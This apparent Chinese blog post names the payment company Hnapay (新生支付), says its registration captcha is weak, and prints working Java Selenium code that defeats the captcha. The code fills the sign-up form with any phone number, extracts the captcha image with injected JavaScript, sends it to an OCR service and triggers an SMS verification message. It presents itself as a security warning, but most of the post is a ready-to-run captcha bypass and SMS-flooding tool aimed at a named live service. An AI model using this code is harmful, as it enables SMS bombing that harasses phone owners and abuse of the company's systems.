赞
踩
由于网站注册入口容易被黑客攻击,存在如下安全问题:
简介:
新生支付是海航信管旗下第三方支付平台,于2008年初成立,注册资金1亿元人民币,是全国首批获得人民银行《支付业务许可证》且少数拥有全牌照的第三方支付公司,并于2016年、2021年两次续展成功。
作为海南自贸港唯一法人支付机构,新生支付凭借先进的支付平台、安全的支付通道和完善的管理流程,成为海南省唯一一家全牌照支付法人机构、跨境电商数字人民币试点机构,网联清算有限公司初始股东,海南省专精特新企业、高新技术企业、民营百强企业(海南省60位、海口市44位)
。
采用传统的图形验证码方式,具体为5个英文数字,ocr 识别率在 95% 以上。
测试方法:
采用模拟器+OCR识别
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
Thread.sleep(1 * 1000);
// 输入手机号
WebElement phoneElemet = driver.findElement(By.id("personName"));
phoneElemet.sendKeys(phone);
// 输入密码
WebElement passElement = driver.findElement(By.id("personPwd"));
passElement.sendKeys("Abc" + System.currentTimeMillis());
Thread.sleep(1000);
byte[] imgByte = GetImage.callJsById(driver, "personAuthCode");
int len = (imgByte != null) ? imgByte.length : 0;
String imgCode = ddddOcr.getImgCode(imgByte);
By byInput = By.id("personCheckCode");
driver.findElement(byInput).sendKeys(imgCode);
// 同意/接受协议
driver.findElement(By.id("personreadProtocol")).click();
Thread.sleep(1 * 1000);
WebElement randomCodeElement = driver.findElement(By.id("personSubmit"));
randomCodeElement.click();
Thread.sleep(1 * 1000);
WebElement resendElement = ChromeDriverManager.waitElement(driver, By.id("reSendSMSButton"), 10);
String gtInfo = (resendElement != null) ? resendElement.getAttribute("value") : null;
retEntity.setMsg(gtInfo);
if (gtInfo.contains("重新发送")) {
retEntity.setRet(0);
ddddOcr.saveFile("Hnapay", imgCode, imgByte);
} else {
retEntity.setRet(-1);
System.out.println("gtInfo=" + gtInfo);
}
return retEntity;
} catch (Exception e) {
System.out.println(e.toString());
retEntity.setRet(-1);
retEntity.setMsg(e.toString());
} finally {
driver.manage().deleteAllCookies();
}
return retEntity;
}
public static byte[] callJsById(WebDriver driver, String id) {
return callJsById(driver, id, null);
}
public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
js += "let base64String = c.toDataURL();return base64String;";
String src = ((JavascriptExecutor) driver).executeScript(js).toString();
String base64Str = src.substring(src.indexOf(",") + 1);
if (base64 != null) {
base64.append(base64Str);
}
byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
return vBytes;
}
public String getImgCode(byte[] bigImage) {
try {
if (ddddUrl == null) {
System.out.println("ddddUrl=" + ddddUrl);
return null;
}
long time = (new Date()).getTime();
HttpURLConnection con = null;
String boundary = "----------" + String.valueOf(time);
String boundarybytesString = "\r\n--" + boundary + "\r\n";
OutputStream out = null;
URL u = new URL(ddddUrl);
con = (HttpURLConnection) u.openConnection();
con.setRequestMethod("POST");
con.setConnectTimeout(10000);
con.setReadTimeout(10000);
con.setDoOutput(true);
con.setDoInput(true);
con.setUseCaches(true);
con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
out = con.getOutputStream();
if (bigImage != null && bigImage.length > 0) {
out.write(boundarybytesString.getBytes("UTF-8"));
String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
paramString += "Content-Type: application/octet-stream\r\n\r\n";
out.write(paramString.getBytes("UTF-8"));
out.write(bigImage);
}
String tailer = "\r\n--" + boundary + "--\r\n";
out.write(tailer.getBytes("UTF-8"));
out.flush();
out.close();
StringBuffer buffer = new StringBuffer();
BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
String temp;
while ((temp = br.readLine()) != null) {
buffer.append(temp);
}
String ret = buffer.toString();
if (ret.length() < 1) {
System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
}
return buffer.toString();
} catch (Throwable e) {
logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
return null;
}
}
public void saveFile(String factory, String imgCode, byte[] imgByte) {
try {
String basePath = ConstTable.codePath + factory + "/";
File ocrFile = new File(basePath + imgCode + ".png");
FileUtils.writeByteArrayToFile(ocrFile, imgByte);
} catch (Exception e) {
logger.error("saveFile() " + e.toString());
}
}
新生支付作为航空巨头海航旗下的支付公司, 采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。